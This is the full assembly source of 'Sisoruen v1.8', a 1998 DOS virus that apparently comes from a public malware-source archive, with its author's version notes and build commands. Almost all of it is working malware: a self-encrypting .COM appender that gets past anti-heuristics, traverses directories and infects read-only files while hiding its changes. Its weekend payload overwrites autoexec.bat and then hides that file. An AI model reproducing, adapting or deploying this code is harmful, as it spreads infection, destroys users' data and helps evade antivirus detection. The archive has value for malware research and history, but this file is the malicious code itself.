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https://github.com/vxunderground/MalwareSourceCode
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282 lines
14 KiB
NASM
282 lines
14 KiB
NASM
; ------------------------------------------------------------------------- ;
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; Sisoruen v1.8 coded by KilJaeden of the Codebreakers 1998 ;
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; ------------------------------------------------------------------------- ;
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; Description: `--------------------------------------| Size : 484 bytes ;
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; | Type : COM Appender ;
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; v1.0 - start with a simple *.com appender | Rate : All to Root ;
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; v1.1 - lets do some XOR,NEG,NOT,ROR encryption! | DT : DotDot Style ;
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; v1.2 - infect even read only files, restore stamps | Pload: autoexec.bat ;
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; v1.3 - add anti-heuristic loop (credits to SPo0ky!) | Encrp: 4 times - ;
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; v1.4 - don't infect files too small, or too big | XOR,NEG,NOT,ROR ;
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; v1.5 - lets give it a payload, activate sat/sun `-------------------- ;
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; v1.6 - optimized a WHOLE lot, and fixed an error that was bugging the ;
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; - crap out of me -> Thanks to SPo0ky for pointing out that my 'safe' ;
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; - place to store the DTA was getting destroyed by the encryption :) ;
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; v1.7 - lets get some directory transversal going, dot dot style ;
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; v1.8 - new payload this time, after it has infected all the .com's it can ;
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; - get it's hands on, it jumps to c:\ and replaces the first line of ;
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; - the "autoexec.bat" file, changing the normal dos prompt (c:\) to ;
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; - c:\::Sisoruen::> !warning! -> it replaces the first line, so be ;
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; - carefull, some people have important info on that first line hehe ;
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; - Oh and it also makes the autoexec.bat read-only and hidden! :) ;
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; - Hey, some people don't know how to un-readonly / un-hide a file... ;
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; - Slows them down a little hehe ;
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; ------------------------------------------------------------------------- ;
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; --> This One's For :Mind Warp: Keep Up The Great Work, You Learn Fast! <--;
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; ------------------------------------------------------------------------- ;
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; to compile ::] tasm sisoruen.asm ;
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; to link :::::] tlink /t sisoruen.asm ;
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; ------------------------------------------------------------------------- ;
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code segment ; name our segment code
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assume cs:code,ds:code ; assign cs and ds to code
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org 100h ; 100hex .com file
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start:
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db 0e9h,0,0 ; define a blank jump to next line
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real_start:
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mov cx,0ffffh ; from other anti-heuristics
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anti_one:
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jmp anti_two ; jump to anti two
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mov ax,4c00h ; terminate program
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int 21h ; terminate the program
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anti_two:
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loop anti_one ; loop anti_one
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call get_delta ; push IP on to stack
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get_delta:
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pop bp ; pop it into bp
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sub bp,offset get_delta ; get the delta offset
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encrypt:
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jmp not_on_first ; don't encrypt 1st run (overwritten)
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lea si,[bp+encrypted] ; SI points to encrypted area start
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mov di,si ; moves SI into DI
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call encryption ; calls the encryption routine
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jmp encrypted ; jump to start of encrypted area
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encryption:
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lodsb ; load a byte
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not al ; encryptin 1
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ror al,4 ; encryptin 2
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neg al ; encryptin 3
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xor al,byte ptr [bp+decrypt] ; encryptin 4 -final-
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neg al ; unencrypt 3
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ror al,4 ; unencrypt 2
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not al ; unencrypt 1
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stosb ; store the byte
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loop encryption ; do it for all bytes
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ret ; return from the call
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decrypt db 0 ; our key value
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encrypted:
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lea si,[bp+thrbyte] ; where to put this
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mov di,100h ; the starting location
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push di ; 1 - push 100h until end
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movsb ; move a byte
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movsw ; and move a word
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lea dx,[bp+offset dta] ; where we want to move the dta
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mov ah,1ah ; move the dta
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int 21h ; make it so DOS!
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find_next:
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mov ah,4eh ; find the first file with
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lea dx,[bp+comfile] ; a *.com ending
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mov cx,7 ; find even if +srh
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infect_next:
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int 21h ; make it so DOS!
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jnc infect_file ; found one? infect it!
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mov ah,3bh ; change directory
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lea dx,[bp+dotdot] ; load up ".."
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int 21h ; and change dir now
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jnc find_next ; start infecting again
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try_pay:
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mov ah,2ah ; get system time
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int 21h ; get the time now
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cmp al,006h ; is it saturday?
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je payload ; it is! I love the weekends
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cmp al,00h ; is it sunday?
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je payload ; it is! I love payloading weekends
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end_virus:
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mov dx,80h ; restore the dta
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mov ah,1ah ; restore it now
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int 21h ; make it so DOS!
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retn ; 1 - return control to host
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payload:
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mov ah,0eh ; change drive
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mov dl,2 ; to drive c:\
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int 21h ; change it now!
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mov ah,3bh ; change directory
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lea dx,[bp+rootdir] ; load up "\"
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int 21h ; and change dir now
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mov ah,4eh ; find the first file
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lea dx,[bp+autoexe] ; looking for "autoexec.bat" :)
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mov cx,3 ; find it even if +rh
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int 21h ; find the autoexec.bat!
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jc end_virus ; none? end the virus
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lea dx,[bp+offset dta+1eh] ; get the file info
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push dx ; 7 - save that info for later
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mov ax,4301h ; set file attributes
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xor cx,cx ; to absolutely none
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int 21h ; make it so DOS!
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mov ax,3d02h ; open the autoexec.bat
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int 21h ; open it / get info
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xchg bx,ax ; exchange the info
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call point_to_start ; point to start of file
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mov ah,40h ; write to the autoexec.bat
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lea dx,[bp+newprmt] ; write this
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mov cx,cpend-cpstart ; this much
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int 21h ; write it!
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pop dx ; 7 - get the file info
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mov ax,4301h ; set file attributes
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mov cx,3 ; make it read only / hidden hehe
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int 21h ; infect even read only now!
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mov ah,3eh ; close the autoexec.bat
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int 21h ; close it now bitch!
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jmp end_virus ; jump to ending the virus
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infect_file:
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lea dx,[bp+offset dta+1eh] ; get the file info
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push dx ; 2 - save it again for in a minute
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mov ax,4301h ; set file attributes
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xor cx,cx ; to absolutely none
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int 21h ; infect even read only now!
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mov ax,3d02h ; open the file read/write
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pop dx ; 2 - use that info again!
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int 21h ; make it so DOS!
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xchg bx,ax ; move the file info
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mov ax,5700h ; get the time / date
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int 21h ; make it so DOS!
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push dx ; 3 - save the value
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push cx ; 4 - save this value too
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mov ah,3fh ; read / record function
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lea dx,[bp+thrbyte] ; where to write to
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mov cx,3 ; how much to write
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int 21h ; make it so DOS!
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mov ax,word ptr [bp+dta+1ah] ; get the file size into ax
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mov cx,word ptr [bp+thrbyte+1] ; get those recorded bytes
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add cx,finished-real_start+3 ; get virus + jump size
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cmp ax,cx ; compare the two
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jz close_file ; if equal close up
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cmp ax,61440 ; > then 61440 bytes?
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ja close_file ; too big, close it
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cmp ax,1000 ; < then 1000 bytes?
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jb close_file ; too big, close it
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sub ax,3 ; get the jump size
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mov word ptr [bp+newjump+1],ax ; and write the jump
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call point_to_start ; point to start of file
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mov ah,40h ; write to file
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mov cx,3 ; how much info? three bytes
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lea dx,[bp+newjump] ; where the info starts
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int 21h ; make it so DOS!
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mov ax,4202h ; point to end of file
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xor cx,cx ; cx to 0
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cwd ; likewize for DX
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int 21h ; make it so DOS
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in al,40h ; get random value from clock
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mov byte ptr [bp+decrypt],al ; save that value as our key
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mov ah,40h ; write to file
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lea dx,[bp+real_start] ; this is where we start
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mov cx,encrypted-real_start ; write this much
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int 21h ; write those bytes man!
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lea di,[bp+finished] ; DI points to encrypted area end
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push di ; 5 - save value for later
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lea si,[bp+encrypted] ; SI points to encrypted area star
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mov cx,finished-encrypted ; total # of bytes to encrypt
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push cx ; 6 - save that for next routine
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call encryption ; encrypt them now
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mov ah,40h ; write to file
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pop cx ; 6 - mov cx,finished-encrypted
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pop dx ; 5 - lea dx,[bp+finished]
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int 21h ; make it so DOS!
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close_file:
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mov ax,5701h ; restore time / date
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pop cx ; 4 - restore from this value
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pop dx ; 3 - restore from this one too
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int 21h ; go for it!
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mov ah,3eh ; close up the file
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int 21h ; make it so DOS!
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mov ah,4fh ; find next file
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jmp infect_next ; and do it again
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; ------------------------> Remote Calling Procedures <-------------------- ;
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; ------------------------------------------------------------------------- ;
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point_to_start:
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mov ax,4200h ; point to start of file
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xor cx,cx ; cx to 0
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cwd ; likewize for DX
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int 21h ; and point to the start
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ret ; return from call
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; -------------------------------> Data Area <----------------------------- ;
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; ------------------------------------------------------------------------- ;
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cpstart:
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newprmt db 'prompt $p$f::Sisoruen::$g',0
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db '',10,13,'$'
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cpend:
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dotdot db "..",0 ; define the .. string
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rootdir db "\",0 ; define the \ string
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autoexe db "autoexec.b*",0 ; look for autoexec.bat
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comfile db "*.c*",0 ; define *.com string
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thrbyte db 0cdh,20h,0 ; terminates on first run
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newjump db 0e9h,0,0 ; a blank jump at first
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dta db 42 dup (?) ; set up space for dta
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finished label near ; an offset label
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; ----------> Temporary Storage Area (Not Saved / Not Encrypted) <--------- ;
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; ------------------------------------------------------------------------- ;
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not_on_first:
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lea di,[bp+encrypt] ; load DI with start address
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lea si,[bp+newbytes] ; load SI with the new bytes
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movsw ; move 2 bytes
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movsb ; move 1 byte
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jmp encrypted ; jump to start of encrypted area
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newbytes:
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mov cx,finished-encrypted ; overwrite the jmp with this line
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; ---------------------------> It's All Over <----------------------------- ;
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; ------------------------------------------------------------------------- ;
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code ends ; end code segment
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end start ; end / where to start
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; ------------------------------------------------------------------------- ;
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; ----------> How Can You Think Freely In The Shadow Of A Church <--------- ;
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; ------------------------------------------------------------------------- ;
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